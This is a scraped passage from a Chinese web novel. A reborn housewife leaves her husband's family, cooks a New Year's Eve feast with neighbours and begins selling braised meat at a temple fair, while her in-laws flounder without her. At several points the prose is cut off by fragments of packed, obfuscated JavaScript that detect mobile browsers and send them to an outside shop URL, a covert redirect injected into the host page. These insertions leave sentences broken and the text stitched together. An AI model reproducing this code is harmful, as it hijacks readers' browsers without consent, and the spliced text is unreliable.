“宝贝儿?” 小家伙那双眼睛立刻瞪圆了,后知后觉的脸颊、脖颈、小耳垂浮现红晕,最后害羞地躲进奶后面。 可爱软萌的神情惹得大人们开怀大笑。 - 次日一早,周满推窗拂去上面的积雪,新鲜空气争先恐后冲进来,让人精神提振。 接下来要做的事情很多,最紧要的便是采买生活必须品,总不能天天蹭赵大娘的吃喝,长久以往总容易结仇。 她睡前盘算了下,身上的存款除去房租,还剩下三十多块。 这笔钱每分都得花在刀刃上,精打细算才行。不仅要能保证至少半个月的日用,还要预留摆摊做生意的启动资金。 因此眼下有两件事必须干: 第一,上南城买东西,尤其是早间市集,蔬菜都是成捆成袋的批发,量大且价格便宜; 第二,市场调查,了解附近摊子分别卖什么东西,哪块人流量最大,消费力如何……选址与餐品都是做生意成功的关键。 这些事一件件重新在心头过一遍,确认无误后,周满才拿起桌上的蛇皮口袋出门。 外边天色麻麻亮,小巷子空荡荡的。棉鞋踩在薄薄一层积雪上,发出轻微的声响。 她拉高围巾挡住脸颊,再抬起眼望去,远远的忽然瞧见巷子口有个高大的身影,并且举着手电筒光扫过来,刺得眼睛睁不开。 周满心脏顿时咯噔一响。 前世许多新闻报道过女性独自走夜路的危害,她惜命得很不敢去赌,拔腿往回跑。 刚跑了没两步,身子就被人从后面抓住,并死死摁在墙上,甭管她如何挣扎都挣脱不开。 一瞬间全身血液倒流,周满吓得嗓子当场劈叉,“救命,人贩子抓人啦。” “我不是人贩子。” 男性低沉的声音自头顶上方响起,与此同时,擒制着她的手瞬间松开。 周满一下子蹦出去好远,右手警惕地摸了摸腰间的棉裤,发现荷包里面依旧鼓鼓囊囊的,才长舒一口气。 钱还在。 朦胧的天光中,男人回忆到什么有趣的事情,不由自主地扯起唇角。 “我是公安大队长孟越,这阵子负责在这片区域值守。” 为了方便她辨认出自己身上的公安制服,孟越举起手电筒光照在自己身上。 剑眉朗目,英俊,正气。 是白日里看过一眼就难以忘记的脸。 周满紧绷的心弦慢慢松下来,揉着被摁疼的胳膊,不解道:“你追我做什么?” “抱歉。”孟越微微皱起眉头,声音严肃且认真:“你看见我就跑,我也以为你是人贩子。” “……” 原来是一场误会。 “不过同志你很警惕,这点非常好,请继续保持。” 古板的男人连夸赞的语气都是一成不变的平静,肃然得好似学生时期的教导主任。 周满有些着急,“如果没有其他事,我先走了?” 再耽搁下去南城便宜的菜就要被抢光光。 孟越颔首,目视她飞奔出巷子,那对剑眉不禁蹙得更深。 她,似乎真的不认得自己了。 也对。 毕竟已经过去二十年…… 没心没肺的周满一口气奔到站台,没等几分钟,12路公交车晃晃悠悠的开过来。 车上座位很多,她向乘务员交了五分车费后,随便寻了个靠窗的单人座位继续补觉。 直到乘务员拿着喇叭提醒:“南菜市场站到了。” 周满睁开眼,拍了拍脸颊醒醒神,拿好东西下车。 这时候太阳才从天边冒出头来,南菜市场已经人山人海,到处都是叫卖声。 大半都是饭店或者小吃摊在批量采购,像周满这类精打细算的家庭主妇并不多见。 尤其是从北城钢铁厂家属区过来坐公交车起码半个小时,为了节省那几毛几分买菜钱,并不值当,也正好能避免周满碰见老熟人。 南菜市场横亘一整条街,蔬菜、大米、生活用品样样齐全,连包子、馒头、馄饨摊都有。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“春风春雨引万般春色,新人新事开一代新篇。” 对如今的她而言正应景,可不就是开启人生新篇章嘛。 “大娘,今天我主厨,给你们好好露一手。”周满撸起袖子,一头扎进厨房。 卤肉想要做出让人欲罢不能的味道,灵魂在于高汤。起码得熬煮两小时吊出的高汤,光是喝汤就鲜得掉牙。 由于食材有限,她剁只鸡腿肉,切块五花肉和棒骨一起炖。直到肉烂汤浓,去除肉渣,留下纯汤才行。 在此期间,八角80克、山奈35克、肉桂35克……等24种香料按照比例配置,用纱布包裹好,放入混合过后(水、盐、一点白酒)的水中浸泡腌制香气。再滤干水,起锅炒香。 最后一步,才是调制卤汤。 卤水关键步骤在于加糖色,用□□糖炒,可加入黄豆酱、甜面酱提鲜。加糖色的量是汤底(其中一定要加黄栀子水,)微微变黄,再把香料包丢进去继续熬制两小时。 这样的卤水并不是老卤,还需要经过至少两天的发酵熬煮。有点类似于老面酵头,留存时间长,卤出来的菜越鲜美。 周满分了一半出来,盖上透气的纱布,放在墙角自然发酵,起码等六小时后才成雏形。 好在江城年夜饭是半夜正式吃,时间还来得及。 等忙完这些,太阳已经升到最高点。 周满和赵大娘就和热水匆匆吃了两口馒头,继续忙活起来。菜板剁得咚咚响,油锅冒着小气泡,开始煎豆腐、白菜等各类丸子。 最后的油也不浪费,周满拿出土豆削皮切丝,分成两份,一份做土豆丝,一份加入面粉、油渣,做成土豆饼。 为了操持年夜饭,杏花小巷忙得热火朝天。 另一边。 钢铁厂家属院。 除夕夜可谓是妇人们的主战场,一众老少娘们拿出看家本领,从早到晚家家户户香气扑鼻。 除了,老元家。 为了给秦芳接风,一家子昨天庆祝到深夜才睡觉,直到被一阵接一阵的拍门声吵醒。 “大哥大嫂,我们来过年了,快开门。” 元建军猛地从床上跳下来,拉开门,发现弟弟妹妹们两手空空,已经带着一家老小回来了。 糟糕,睡过头了,什么都还没准备。 他脸色猛的一白。 二弟元建设没注意到他的神情,伸长脖子往里瞅,四处搜寻周满的身影,“大哥,孩子们快饿死了,赶紧把大嫂炸的肉丸子端出来垫垫肚子。” 13. 老元家冷清清的除夕 “什么?大嫂回娘家了?” 老元家乌泱泱的十几口人拥挤在客厅,得知这个噩耗,大人们的脸色沉凝得仿佛能拧出水来。 放眼望去,不光厨房冷冷清清,就连客厅同样乱糟糟的,像是有很长一段时间没有女主人收拾打理。 瞧,地面攒的灰都能踩出一堆鞋印子。 元家媳妇心里各自打起算盘。 自从大嫂嫁进来便兢兢业业伺候一家子吃喝拉撒,从不有任何怨言。大哥也从不吝啬,鸡鸭鱼肉优先紧着弟弟妹妹们。 因此大家都习惯年三十聚在一块过,毕竟不用出钱出力,谁都乐意当甩手掌柜。 可突然有一天,老实人不干了。 “哪有外嫁女大年三十回娘家的道理?大嫂是不是跟你吵架了?就算是吵架,岂能一点轻重缓急不分,大过年闹得大家都不愉快?”元建设忿忿不平。 老婆孩子从昨天起缩衣节食,就是为了能连吃带拿多蹭两口年夜饭。这下计划泡汤,改喝西北风了。 被一双双眼睛瞅着,元建军面上无光,愈发怨恨周满不懂事。 他极力维持的夫妻恩爱、家庭合睦的假象,一而再再而三地被周满戳破,无疑在挑衅他大男子主义的权威。 周满故意挑在腊月二十九离开,就是为了看他笑话,等他去求她,这会儿指不定在乡下幸灾乐祸吧。 这个毒妇!! “还是想想年三十怎么过吧?” 三弟元建国抬起那双冒着精光的眼睛,贼遛遛地扫视橱柜,“不如把东西分分,今年暂时各回各家过?” 为了补偿弟弟妹妹们,各家好歹分得半鸡、一条猪腿吧? “不行,年三十团聚是咱老元家的传统。”元建军一口回拒,没有任何商量的余地。 “难道就周满会做饭,离她就整治不出一桌年夜饭了?老二老三媳妇,你们赶紧去厨房忙活,几个侄女把家里打扫收拾下。” 元建军发号施令。 女人们颇有怨言,可丈夫/父亲一副理所当然的模样,不得已把话咽回肚子里。 过年不仅男人会互相攀比,女人更是如此。为了证明自己过得好,谁家不使出浑身解数,把最好看最贵的衣裳首饰拿出来。 一想到要沾染上厨房油渍,老少娘们个个拉长了脸。 “元珠,你妈为什么跟你爸吵架了?”大表姐林薇薇兴致勃勃地追问,“大伯母脾气向来都好,我还没见过她急过眼呢。” 不过按照她妈的话来说,大伯母是泥捏的性子,人人都能欺负。但几个妯娌中,也只敢跟她交往不怕被算计。 家里兄弟多,资源少,不争就被别人多拿一点。尤其是老太太在世时,谁家不惦记她那点工资? 其他表姐妹一同凑过去探听八卦。 元珠肚子里根本藏不住事,嘴角一撇,委屈道:“我妈前天自己磕到脑袋,不知道抽什么风,对我们三兄妹不闻不问,还非要跟我爸离婚。” “天呐,大伯母居然要离婚?她疯了!” “你姥姥家不是一直都靠婆家接济吗?你妈怎么敢的?” “你爸同意了没有?” 众人惊掉下巴,她们顾不得掩饰音量,同样让屋子里的大人们骇然失色。 元建军揉捏眉心,被小女儿自曝家丑气得半死,“是我要跟她离婚,这件事谁都甭劝,谁都别问。” “对,该给大嫂个教训。现在的老娘们都被知青带坏了,动不动就闹离婚,简直反了天。”元建设同仇敌忾,“当初要不是周满故意设计落水,否则她一个乡下土妞还嫁不进元家。” 没人注意到元建军脸色有些不自然。 偏偏二儿子不嫌事大,对母亲不光彩的行为脸上火辣辣的疼,继而愤愤握拳:“二叔,原来我奶说的是真的。我妈一点都不检点,为了能过好日子赖上我爸。这些年要不是她老搬元家东西补贴周家,姥姥家能盖得上三间瓦房吗?” “好啊,周满居然敢拿元家的钱补贴娘家盖房子,大哥,这笔钱必须要拿回来。”三间大瓦房,那该是多少钱,想想元建设就眼红。 元建国算道:“既然离婚了,逢年过节送给周家的礼该拿回来。拿不回来没关系,全部换算成钱。再加上周满这些年在元家吃的喝的,起码也得好几百块了。” “大哥,快拿纸笔出来算算。等从周家拿回钱,正好够给元斌兄弟俩娶媳妇呢。” 被提到名字,元斌赶忙从房间里走出来。身为长子,了解的真相远比弟弟妹妹多。 “二叔,姥家的房子没花咱家一分钱,是用远在西北当兵的三舅寄来的津帖盖的。那些都是奶为了编排妈,故意说的气话。” 他真怕叔叔们上周家一闹,两家情份闹没了,爸妈离婚这件事就真的一点转圜的余地都没有。 再说了,哪怕爸妈真的离婚。 他也不能让爸问周家要钱,这笔缺德钱要是拿来娶媳妇,别说能娶到什么正经人,他们兄弟的脊梁骨一辈子都被戳得直不起来。 “元斌,你怎么能这样说你奶?”元建设瞪起虎眼。元斌傻不想要钱,可他想要啊,谁嫌弃钱少? “你三舅在西北当火头军,一个小兵能有多少津贴?能盖的起三间大瓦房?” 二叔三叔掉进钱眼里,拉着元建军拿出纸笔疯狂计算,简直着了魔怔。 元斌望着眼前无比荒诞的场景,忽然生出一种无力感,头一次感受到周满的不容易。 老元家的媳妇不好当,给满是心眼子的小叔们当大嫂更难做。 可他也没意识到,自己跟弟弟妹妹何尝不是如此? ……都扒在周满身上吸血。 直到—— “大哥,米饭蒸上了,快把家里的肉食拿出来。”三弟媳黄氏站在厨房门口问道。 元建军疑惑:“厨房里没有吗?往年年货都是周满置办的,而且过年前,周家都会送肉来,鸡鸭鱼肉都有。” 话一脱口,他猛然记起来,今年周满没跟他要钱买猪肉。 虽然现在买肉不用票,但猪肉依旧紧俏,城里供应得少。元家人口多,周满不得已拜托娘家人帮忙在乡下收。 今年,好像没听说周家来人。 也就是说家里一点肉都没有了,就连橱柜里的油渣,早被周满拿去包酸菜饺子。 “大哥,家里买没买肉你一点都不知道?”元建设惊呆了,见过当甩手掌柜的,但头一回见大哥这般一点庶务都不管的。 元建军心虚却又充满理直气壮,“周满一个人都能安排好,都不需要我操心。” 他只需要往椅子一坐拿起报纸,就有热菜热饭送到嘴边。 元母曾讽刺道:“周满就是天生的奴才秧子,事事周全圆满,亲家公取这个名字取得好。” 无论她再如何瞧不上周满这个媳妇,却对她料理家务的能力无可挑剔。 “我真是服了,大哥你心真大,没事惹大嫂干嘛,现在没有肉怎么过年?”元建设埋怨上他哥,“有什么事不能等到过年再说?” 元建军不以为意,数出两张十块来,“元斌,你赶紧跑去屠宰场买肉,骑自行车去,直接买半扇回来。” 黄氏好心提醒:“可能屠宰场没肉卖了,而且,二十块钱也不够啊。” 却被丈夫恶狠狠的剜一眼,“乌鸦嘴,滚回厨房干活去。” 元家兄弟一脉相承的好面子,习惯在外人跟前驱使妻子,好似能给自己铮面子似的。 黄氏忍不住翻了个白眼,甩甩手,懒得再管。 年前猪肉价格疯涨,二十块钱顶多能买到猪头。 当初肯定是周家偷偷补贴了大哥家。 临近下午,街道上行人寥寥无几。 这一趟元斌无功而返,连跟猪毛都没买到,最后不得已拿钱跟邻居高价买,好歹买到几斤红肉。 不出意外,老元家沦为家属区笑话。 马春花怀揣着满肚子的八卦,迫不及待地敲响了杏花胡同十八号的门。 卤肉的香味隔着一道门透过来,轻轻巧巧地就将她肚子里的蛔虫全部勾了出来。 母女五人不约而同地拼命吞咽口水。 “就是这个味,每年你们周婶都做卤肉,那香味就像一把钩子,把我的心都勾得痒痒的,馋得我整宿整宿睡不着啊!”马春花激动得声音劈叉。 不止她是受害者,左右邻居哪家不唉声怨道,半夜起来打哭孩子。 刘棋以指为梳把头发刘海往后撩,“今年咱们有口福了。” “谁呀?” 赵大娘拉开一角门,待看清来人不由心花怒放,“大妹子来啦,快进来。” 马春花用眼神示意大女儿上前,“大娘,今年要叨扰你们一起过年了,这是给小囡囡的飞鹤奶粉和牛奶糖。” 奶粉可是稀罕货,据说只有在百货商场才有得卖,一罐至少几十块甚至上百。 赵大娘连连推迟:“使不得,留点糖甜甜嘴就行,其他的你拿回家去用。” “这是专门给囡囡买的,据说能补钙,还有各种营养,最适合囡囡这样虚弱的孩子用。”马春花握住赵大娘的手往里走,“我妹子住在你这,咱们就是一家人,何必如此见外。” 一行人进了家门。 赵大娘抬头瞥见孙女站在厨房边,瘦骨如柴的双手抓着门框,好奇又胆怯的望着这边,禁不住老泪纵横。 谁能看出来,囡囡今年其实已经六岁了? 除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14078906|149453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常年生病,还因为营养始终跟不上,与同龄人站在一块比,足足差了一头。 “行,老婆子承你的情收下了,一定会好好照顾你妹子的。”赵大娘拍着胸脯保证,也愈发感激起马春花与周满来。 待会儿上香的时候要跟老头子和大儿子念叨,陈家今年碰上贵人了。 院子热闹非凡,周满边擦手边出了厨房,惊喜道:“马姐你怎么过来了?几个侄女可真俊,快上屋里喝热水,饭菜一会儿就好。” 马春花指挥几个女儿把剩下的东西都放进南厢房,大多是大米之类的食物,还有一些日常生活用品,面面俱全,显然是极为用心的。 “左右就我们母女,在哪过年都成,当然要选择年夜饭最好吃的那边。” “再说了,怎么能让你孤零零的过年?” 马春花理所当然。 周满咬了咬唇,眼眶有些温热。 自从嫁过来,除了娘家人,还是第一次有人心疼她。 上了年纪更容易感性,周满用力眨掉眼角的泪花,“你想吃什么,我去厨房给你做。” 马春花假装看不见她染红的眼眶,笑眯眯的点头道:“我带了两条鱼,一只鸡过来,你随便做什么松鼠桂鱼、宫保鸡丁就行。” 好家伙,都是极考验功夫的大菜。 周满从箱子里翻出一盘干果花生给侄女们当零嘴吃,再次提着食材扎进厨房。 “妈,周婶真的跟从前不一样了。”大女儿刘琴感叹一句,“不过周婶眼睛比往常有光彩,她可真勇敢。” 刘琴当初离开钢铁厂,跑到小学教务处当资料员,工资福利缩水一半,被家属院不少人嘲讽捡芝麻丢西瓜。 周满闹离婚,这件事还不得被那帮碎嘴的娘们编排成什么样? 舆论,有时候是一把能杀人的武器。 “你们就看着吧,离了周满,老元家指定得散。” 马春花老神在在地抓了把瓜子,跑进厨房跟周满分享八卦。 周满一点儿意外的表情都没有,同样没有幸灾乐祸,反而感到一股悲凉。 看吧,元家人从上到下拿她当奴才已经形成本能。 他们习惯她处处打理好一切,心安理得地享受着她的劳动成果,唯独没有尊重她。 恐怕出了这档子事,还会埋怨她,甚至站在道德制高点责备她没有尽到家庭主妇的责任与义务。 油锅发出滋滋的声响。 周满不动声色地收敛好情绪,把鱼放下去煎。管元家人做什么,眼下是过好自己的日子。 上辈子有句很火的网络词怎么说的来着? 对了,拒绝内耗! 松鼠桂鱼形状是由炸决定的,炸鱼时需要倒倒拎鱼肉,把烧热的油从上往下浇在鱼肉上,鱼肉仿佛开了花似的向外炸开。 有了形,再调汁。 无论做什么事,周满都十分专注,力求做到完美。最后煎出来的鱼头跟尾巴两端向上翘,就像是鱼在盘子里蹦跶似的。 这手艺,至少练习了上百次。 马春花直看得合不拢嘴,瓜子也不嗑了,生怕眨眼就会错过鱼变化的任何一个步骤。 元建军真是瞎了眼,居然舍得跟这样一个堪比大厨的老婆离婚。 不,是周满崛起罢工,要跟他离婚。 这样一想更爽更解气了! 厨房里香气不断往外飘,可馋坏了隔壁小孩子们,非闹着要吃卤肉。 妇人们打也打,骂也骂,孩子依旧馋得嗷嗷哭,没办法舔着脸求上门。 待赵大娘领着她们进厨房,把事情跟周满一提。 周满装作沉吟片刻,才点头应下来:“可以,买也成,用东西换也行,但只卖卤味。” 卤味做的多,容易二次加工,且耐放。 众人就是被这股卤味吸引过来的,自然没什么意见。 原本有些不服气的,再看到灶台上那盘造型完美的松鼠桂鱼时,什么酸话都说不出来了。 “大妹子是在大饭店做过吧?”有人惊叹出声。 周满一本正经的胡吹:“没有,但有幸拜了位大厨为师,师父老人家据说祖上干过御厨。” 虽然那是明朝的事情了。 如今师父祖上八代贫农,靠着祖传的手艺接十里八乡的红白喜事,厨艺水平跟快餐店齐平。 而周满这手厨艺,大多数是上辈子跟着短视频自学的。 譬如这道松鼠桂鱼,极其费油费鱼,也只有三十年后做废食材时才不心疼。 周满吹起师父的牛来眼睛都不眨一下,神情镇定自若。为了日后摆摊做生意,适当给自己提前加码,营造点名声并不过分。 果然,做事要学会变通。 14. 摆摊 “御厨?” 有人觉得周满在说大话,翻起白眼:“大清早亡了,两张嘴皮子上下一翻,谁知道她是真是假?” “前段时间卖假药的张老头,打着御医旗号招摇撞骗,如今还在蹲大狱呢。” 周遭的质疑声在周满揭开大锅盖时消失殆尽,卤香味直击味蕾,现场顿时安静得只剩下此起彼伏的吞咽声。 周满拿起菜刀快速切了一截肥肠、几块豆干摆在盘子上,端起来递到众人跟前,“先尝后买。” 借着厨房明亮的白织灯众人清晰看到,卤肥肠色泽红亮饱满,切的薄厚大小均匀,像是用尺子丈量过似的。而卤豆干两面金黄色,散发出浓郁的酱香和豆香。 马春花抢先用手捏块肥肠丢进口中,细细嚼着那醇厚的口感,双眸蓦地铮亮如星。 卤味最重要在于卤水,正宗的老卤吃起来带着咸鲜味,沿着喉咙吞下去,还能余有一股回甜味留在唇齿间,周满的卤便是如此。 女儿们个个成才后,马春花身上不差钱,江城有名的饭店全部吃个遍,也算是个老饕餮了。 她满足无比地叹了一口气,中肯评价道:“汤汁的鲜香味综合了肥肠的软糯,一点肥肠的臭味都没有。软烂有嚼劲,不绵不腻,满满的回口香。可惜是第一遍卤,要是老卤滋味更甚。” 其他人见状更是等不及了,争前恐后地试吃起来,一边咀嚼一边发出惊叹声。 “大妹子,你这的手艺简直绝了。我公公就是国营饭店的大厨,都做不出比这更好吃的卤味。” 周满占了两辈子的阅历与经验,闻言并不骄傲自满,“卤肥肠一斤两块,五花肉一斤五块,豆干等蔬菜都是一块钱,也可以按照同等价格的东西交换。” 年前猪肉已经涨价至两块五毛钱,再对标饭店的肉菜价格,这标价一点儿也不贵。 东城是老城中心,住在学校附近的人本身不差钱,碰上过年更舍得消费,不少人当即掏钱各买半斤。 当然也有人嫌贵,“大家都是邻居,理应互相照应,能不能再便宜些?” 赵大娘一眼认出来挑事的人正是隔壁爱占便宜的苏婆子,老苏家明明不差钱,这老虔婆却抠门得很。 关键是她不仅对自己抠,对家里更抠,只有逢年过节才吃上鸡蛋,把几个孙子孙女养得面黄肌瘦。 “你家柿子树今年结了不少果,大过年的,不如拿点分给邻居?反正你平时也总上各家摘果子,帮大家尝尝酸不酸,甜不甜。”赵大娘不客气地回怼过去。 苏婆子吓得一溜烟往家跑,砰的一声狠狠摔上门,生怕赵大娘过来抢柿子吃。 “奶,卤肉呢?”小孙子巴巴的望着她,眼眶攒满一泡泪。 苏婆子脸色垮下来,指着他鼻子破口大骂:“吃个屁,一斤卤肉足足五花钱,光天化日抢钱呐,老娘吃饱撑的才会买。” 登时吓得小孙子哇哇大哭。 隔壁闹得鸡飞狗跳,对周满来说却什么任何影响。送走最后一批客人,锅里卤味加在一块仅剩下最后两盘。 本来食材就不多,算了算,蔬菜加工过后果然卖得最划算,利润最高。总共收到二十五块三毛,蔬菜占据一大半。 倘若再抛去成本,这锅其实仅仅才赚六块钱。 周满郑重地将这把小票塞进兜里,胸腔仿佛跟着荷包鼓起来一块,充斥着无与伦比的满足。 这是除却捡破烂外,她第一回真正意义的靠双手赚到钱。 原来真的一点都不难! 锅里部分蔬菜比如海带、莲藕是赵大娘提供的,周满想了想,还是按照比例和售卖情况,把钱分给她。 “蔬菜本来不值几个钱,卤味还都是你做的,我不能要。”赵大娘连连摆手婉拒。 独自离异生活的女人不容易,周满能赚到钱,赵大娘打心眼里替她感到高兴,却不眼红。 周满认真说道:“一码归一码,如果要做卤味生意,日后我还要跟您买菜。等到时候,就按照市场价收购了。” 赵大娘不曾想还有这等好事,然后眼眶渐渐湿润,心知肚明周满是在照顾她呢。 只要自己能低价收购过来,便能在其中赚取差价。对她如今的身体状况而言,既不过于劳累,还能有时间陪伴囡囡成长。 “这笔钱我收下了,收菜的事包在我身上。”周满做事爽快,赵大娘也不扭捏。 “你不妨多做一些,明天拿出去卖。春节家家户户菜式少,一道卤味也算得上大菜了。要是亲戚朋友串门,还倍有面子。” “刚好连续三天都有庙会,也正正好在小学旁边那条街,现场交摊位费。” 周满双眸一亮。 卤水都是越煮越香,老卤不用再花钱,接下来只需要购买食材。 净利润只会比今天更多。 等她赚到钱,再回娘家告诉他们离婚的消息,相对而言也会顺利许多。 钱虽然不是万能的,但可以解决世间大部分的烦恼。 但问题是上哪买肉? “我有渠道!”赵大娘自信地拍着胸脯,“屠宰场每年过年其实都会预留一批肉,以便年后能维持猪肉的正常供应。我大儿子以前就在屠宰场当工人,后来把岗位卖给宁家小子。你等着,我现在就出门给你要肉来。” 赵大娘回屋穿上大棉袄,提着一袋花生,风风火火地出了门。 小老太太年纪大,脚步却出奇的快,任凭周满怎么叫都不回来。 没办法,她另起小炉子,用老姜切成丝放入瓦罐中,加水和两少红糖慢慢熬煮。待老太太回来喝,能驱寒暖暖身子,避免感冒。 紧接着擦把手,继续回到灶台上忙活,开始做宫保鸡丁。 之前两人讨论如何做卤味生意,见周满事事安排得井井有条,马寡妇在旁边嗑瓜子并不参与。 等她开始做新菜,又从小板凳上抬起屁股凑上前围观,细细的眼睛都快笑没了。 俗话说外行看热闹,内行看门道。 想到马春花在吃食上颇为讲究,周满一边做边解释道:“正宗的国宴菜是用绍兴雕花酒和老酱油去腥增味,可惜家里只有黄酒,最多做到八十分,日后有机会我再给你重做。” 马春花越发笑得牙不见眼,她总算是发现了,周满此人重情重义,旁人敬她一尺,还别人一丈。 话说回来,要不是周满太重感情,能被元家拿捏得死死的么? 腌制宫保鸡丁的功夫,周满已经起盆和面,大白菜和肉末分别在案板上剁得哐哐当当响。 北方过大年,饺子是必不可少的主食。 把饺子捏成金元宝状,寓意来年才能财源广进、招财进宝。 这一通忙活直到晚上十一半点,年夜菜摆满整桌。 门外,赵大娘也骑着借来的山轮车回来了,冻得鼻子通红。 “先喝碗姜水去去寒气。” 周满打了碗姜水递过去,赵大娘顾不得烫,呼哧呼哧几口喝光。老姜辛辣浓重的味道充斥鼻腔,红糖回甜,整个身子隐隐发热起来。 “你猜我拿了多少猪肉回来?”赵大娘得意洋洋地挑起一边眉梢,在万众期待中猛的揭开上面油布。 周满定睛一瞧,好家伙,底下放着五只猪蹄、一只猪头、三幅猪下水、还有十多斤猪肉。 毕竟这些肉还搭进去赵大娘不少人情,她也不讨嫌打听进价多少,直接根据按照市价爽快付了一半钱。 剩下那半暂且赊欠着,等明后日赚钱再还。 天冷相当于天然冰箱,猪肉搁在外边根本不会坏。众人回到正屋,围着大圆桌坐成一圈。 美食太多,陈圆圆皱成苦瓜脸,苦恼感叹:“周婶做的都好吃,不知道先吃哪个好?” 闻言,大家伙笑得眼泪花都洒出来了,手中筷子却不慢,飞速夹走自己心仪的菜。 “来,大家都举杯。” 新年零点钟声响起,马春花倒着满满一杯酒,豪迈起身,“祝大家新年快乐,也祝周满生意兴隆。” 平日里周满从不喝酒,此时面对众人真心实意的祝贺声,仰头一口饮尽。辛辣冰冷味道滑进喉咙,心底却是无比火热。 结果…… 她一杯醉。 大脑迷迷糊糊中,周满无意中侧头看向窗外。绚烂的烟花爆炸在夜中,而窗台玻璃上,则完整映出屋子里热闹的场景。 ……好像这样也不赖。 - 宿醉的结果是次日醒来,周满脑袋里依旧昏昏沉沉的。 她醒得早,外边天还黑着。 旁边马春花睡得香甜,周满蹑手蹑脚的下床穿衣,在院子里打了一桶井水洗脸,彻底清醒过来。 厨房里老卤用棉布盖着,不怕鼠虫掉下去。经过一整夜,底下的卤水已经彻底结成油冻。 她搬到找灶台上加热,等待间隙处理猪肉。 猪头肉最难处理,需要先用火把余毛烧掉。对于猪耳朵里的杂毛,则用烧得通红的火钳压在上面滚一圈。其次放入温水里,用菜刀一点点刮去黑色杂质。清理干净后,最后加姜片黄酒焯水煮一道去腥。 相对而言,大肠用盐巴和面粉搓揉几遍。九十年代老百姓肚子里缺少油水,冲洗干净后,周满选择留下肠子里的肥油。 别小看这层肥油,它是大肠越嚼越香糯的关键,但食用过多也容易导致嘌呤高。 肉类一一放进卤水里继续慢火熬煮,周满才不紧不慢地收拾蔬菜,主要是土豆跟豆腐干。 远天,第一缕朝阳划破夜空。 周围陆续响起鸡鸣声。 马春花是在一阵卤香味中馋醒的,等她从床上爬起来时,周满已经装车完毕,准备出摊了。 “橱柜里有我鲜擀的面条和一碟子卤味,你们娘几个自己煮着吃。” 马春花揉着眼睛快步上前,“要不要我陪你去?” 做生意跟昨晚小打小卖可不一样,要拉得下脸,放得下尊严去吆喝,还要时刻面临食客的刁难与挑剔。 可她不知道,早在上辈子周满已经毫无芥蒂地伸手进垃圾桶里捡瓶子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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来人容貌俊伟,一袭警服更是气势磅礴。高大健硕的身材犹如巍峨山岳般,恰好将那阳光挡住了。 乌黑的眼仁沉沉地望着她,冰冷而又锐利,“同志,卤肉怎么卖?” 真巧! 是那个大队长。 每年庙会总会出点乱子,加上那伙人贩子迟迟没抓到,于是城管协同公安部门全城巡逻戒严。 周满摁下心思,向第一个顾客热情招呼道:“按斤称的话,五花肉五块,卤猪耳、猪头、猪蹄都是三块,卤肥肠两块,所有蔬菜一律一块钱。还可以按份卖,传统老式铁饭盒,有肉有蔬菜,一盒售价三块。” 她轻轻揭开锅盖,那霸道的卤肉香气犹如汹涌的波涛,瞬间席卷了周围的空气,不断攻击着孟越的鼻腔和味蕾。 一双凤目无法自控地盯着那口大锅。 炉子烧着火,卤水在铁锅中滋滋冒着小气泡,热气如云雾般蒸腾 。炖煮过好几个小时的卤肉油光发亮,在汤水中上下翻滚着,色泽金红,足以想象得到嚼在嘴里软糯即化。 孟越喉结微微耸动,心底下仿佛有只猫爪子在挠,面上表情依旧严肃板正:“都各来半斤。” 周满动作一顿:“吃得完吗?这几天我都出摊,吃完随时再来买。” “家里人多。” 孟越言简意赅。 “要不要拌,能吃辣吗?” “多放点辣子。” 北方人很少能吃辣,周满有些诧异的挑起眉,分别将卤味盛出来,称好重量才开始切。 切好后放入铁盆里,依次加入葱花、酱油、醋、洋葱、生青椒、辣椒油,如果能有芥末提味会更香。待所有香料放入一块搅拌均匀,最后装袋。 “一共九块五毛。” 孟越二话不说直接从钱包里抽出一张大团结,待周满找回他五毛,提着袋子大步流星地离开。 他不仅手长,腿也长,一步好似普通人的两步,眨眼间便消失在街头。 周边那压迫十足的气场也瞬间烟消云散。 不仅是周满,旁边摊主都如释重负地夸张地松了口气。 “大妹子,卤肉能先尝后买吗?”馄炖摊主眼睛直勾勾地盯着那口大铁锅,仿佛饿狼看见了羔羊,眼睛里都冒起了绿光。 他娘的,那股卤香味简直太霸道了,好似一把钩子,勾得人肚里的馋虫蠢蠢欲动。 “可以。”周满动作娴熟地现切了两片豆干装在碗里递过去。 馄炖摊主迫不及待地抓进嘴里,豆干里面已经完全渗透进去肉香,嚼劲十足,那滋味,叫人恨不得把舌头都吞下去。 卤豆干已然是人间美味,可想而知,那锅卤肉该是何等的香气扑鼻! 孩子她娘不是愁没什么好节礼吗?这盘卤味有荤有素,味道又堪比国营饭店做的,带回娘家肯定倍有面儿。 卤味锅盖一直没盖,经由北风吹拂向更远的地方,不少人频频伸长脖子张望。 “什么味道好香啊!” “好像是卤肉?真怀念大伯母做的卤肉,味道绝了。” “味道从那边传过来的,元珠,咱们去看看吧。” 说者无心听者有意,元珠心头一凛,忽然有种不好的预感,“大表姐、二表姐,你们不是要吃烤羊肉串吗?这里有两块钱,你们拿去买,我去那边看看东西。” 15. 庙会做生意 一路上元珠做好各种心理建设,一边摇头否定脑海中那个荒诞至极的猜测。不会的,她妈平时多么好虚名的一个人,怎么可能放下身段去摆摊? 她不仅自己在大院里事事掐尖要强,塑造好媳妇形象。还非得逼迫兄妹三人考满分,争全校第一。 在她眼中,家人都是用来博取名声的工具。 这样爱慕虚荣的人,是根本不敢去做下九流的工作。 